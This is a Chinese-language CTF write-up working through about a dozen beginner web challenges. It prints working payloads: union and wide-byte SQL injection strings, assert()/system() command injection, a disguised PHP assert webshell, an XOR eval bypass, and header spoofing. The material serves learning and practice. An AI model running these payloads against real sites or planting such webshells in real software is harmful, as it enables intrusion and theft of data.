WriteUp-2019.8.19

yi_ge_webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
?php 

include'flag.php';

if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

根据提示需要构造code=$变量名=getFlag;$变量名(); PS:eval()函数会执行其中的字符串

但是不能使用/[A-Za-z0-9_]+/

于是想到用字符串的异或来解决

借助python脚本来找到两个字符串

分别是@;);@!@ ‘^]},@’

构造/?code=$变=”@;);@!@”^”%27^]},@%27”;$变();

得到flag:SKCTF{yi_ge_sui_bian_xie_de_flag}

xff_referer

提示:ip地址必须为123.123.123.123

于是抓包伪造XFF头,即X-Forwarded-For: 123.123.123.123

PS:XFF头代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项;简单地说,xff是告诉服务器当前请求者的最终ip的http请求头字段。

又提示:必须来自https://www.google.com

于是伪造Referer: https://www.google.com

PS:Referer是HTTP表头的一个字段,用来表示从哪儿链接到当前的网页,告诉服务器当前访问者是从哪个url地址跳转到自己的。借着HTTP来源地址,当前的网页可以检查访客从哪里而来,这也常被用来对付伪造的跨网站请求。

得到flag

command_execution

命令执行漏洞

windows或linux下:

command1 & command2 :先执行command2后执行command1
command1 && command2 :先执行command1后执行command2
command1 | command2 :只执行command2

ls查找目录

cat读取文件内容

ics-06

尝试进入index.php

看到id=1以为是sql注入,尝试了几种注入姿势并没有什么反应

后来才发现其实是暴力破解…..

NewsCenter

输入1’ 报错

这次是sql注入辣

利用order by语句可以判断出有3列语句

暴库1’ union select 1,2,database() #

暴表1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’news’ #

暴字段 1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’secret_table’ #

1564886111489

暴字段数据

1’ union select 1,id,fl4g from secret_table #

1564886274001

mfw

1564887143765

发现这个网站用了git来写

那么访问/.git目录,发现存在git源码泄漏

使用githack打包下载

得到flag.php,打开却发现是空的

再看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

assert()函数会将读入的代码当做PHP代码来执行

构造?page=’.system(“ls”).’来查看目录

?page=’.system(“cd templates;ls”).’进入目录

?page=’.system(“cat templates/flag.php”).’ 查看flag文件

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>

构造a=a&b=1235b

字符串和数字比较使用==时,字符串会先转换为数字类型再比较

比较时’a’会被转换数字0 ‘1235b’会被转换为1235

NaNNaNNaNNaN-Batman

打开文件发现一串js代码

1
<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){	[0]);.splice(0,1)}}}	\'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=["	write(s[o%4]buttonif(e.ment';for(Y in $='	')with(_.split($[Y]))_=join(pop());eval(_)</script>

整理得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');

delete

同时给原文件添加后缀html会出现一个输入框

为了匹配源码中的正则表达式,要求输入的字符串长度为16、含有’be0f23’、’233ac’、’e98aa’、’c7be9’

并且以’be0f23’开始、以’e98aa’结尾

输入be0f233ac7be98aa成功得到flag

过狗一句话

1
2
3
4
<?php $poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])

这里explode函数把字符串poc按#分隔开并映到poc_1数组中去;

然后poc_2再把他们连接起来,总的来说就是把poc中的#去掉,变成一个新的字符串赋值给poc_2;

可以看出,poc_2是assert,然后我们来看最后一句话,它现在变成了一个函数,即:

assert($_GET[‘s’])

而assert函数功能跟eval类似,可以把里面的内容当作代码来执行,考虑扫描目录下的文件,构造payload:

?s=print_r(scandir(‘./‘))

注: scandir() 函数 返回一个数组,数组包含指定路径中的文件和目录

​ print_r()函数 以易于理解的格式打印变量

即把当前目录下的文件或者目录以数组的形式显示出来

1
Array ( [0] => . [1] => .. [2] => c.php [3] => flag_sm1skla1.txt [4] => index.php [5] => info.php [6] => test3 [7] => zaq.php [8] => zzz.php [9] => zzz1.php )

进入/flag_sm1skla1.txt 成功发现flag

一个不能按的按钮

修改js代码,去掉disabled就可以点击flag

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if($_GET['file'] === "flag"){
highlight_file("flag.php");
}else{
$page = $_GET['file'];
}
} else {
$page = "./flag.php";
}
assert("file_exists('$page')");
?>

assert()函数类似eval()函数,会将字符串当作php代码执行

file_exists()

I am looking at you

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
include('flag.php');
function welcome($arr)
{
$data = "I am looking at you %s";
foreach ($arr as $_k => $_v) {
$data = sprintf($data,$_v);
}
echo $data;
}

$arr = array($_GET['myname'],$flag);

echo welcome($arr).'<br>';

highlight_file(__FILE__);

sprintf()函数作用:把百分号(%)符号替换成一个作为参数进行传递的变量

1
2
3
$data = "I am looking at you %s"; 

$data = sprintf($data,$_v);

其中的%s将会替换为$_v

主函数中get传入myname,$arr数组由$_GET[‘myname’]和$flag组成,返回welcome()函数处理过的$arr数组

一般情况会返回“I am looking at you $_GET[‘myname’]”

如果$_GET[‘myname’]=%s,可以执行第二次sprintf()函数,返回&arr[1]即flag变量

学生信息查询系统

查询?id=1’ or 1=1#

发现单引号‘被转义,可能是宽字节注入

查询?id=1%df%27

报错说明确实是宽字节注入

查询?id=1%df%27%20order%20by%204%20%23

发现有三个字段

查询?id=1%df%27%20union%20select%201,2,database()%20%23

没能发现数据库名(校赛时候就卡在了这个地方。。)

查询?id=-1%df%27%20union%20select%201,2,database()%20%23

令id=-1因为-1不存在,不会出现回显,这样就可以看到后面的union select

随后爆表

id=-1%df%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema%20=%20database()%20%23

因为单引号被转义,不能直接输入’库名’,需要用函数或16进制来绕过

爆字段

id=-1%df%27%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_name%20=%200x666c6167%20%23

flag字符串转16进制为0x666c6167

查询字段得到flag

?id=-1%df%27%20union%20select%201,2,flag%20from%20flag%20%23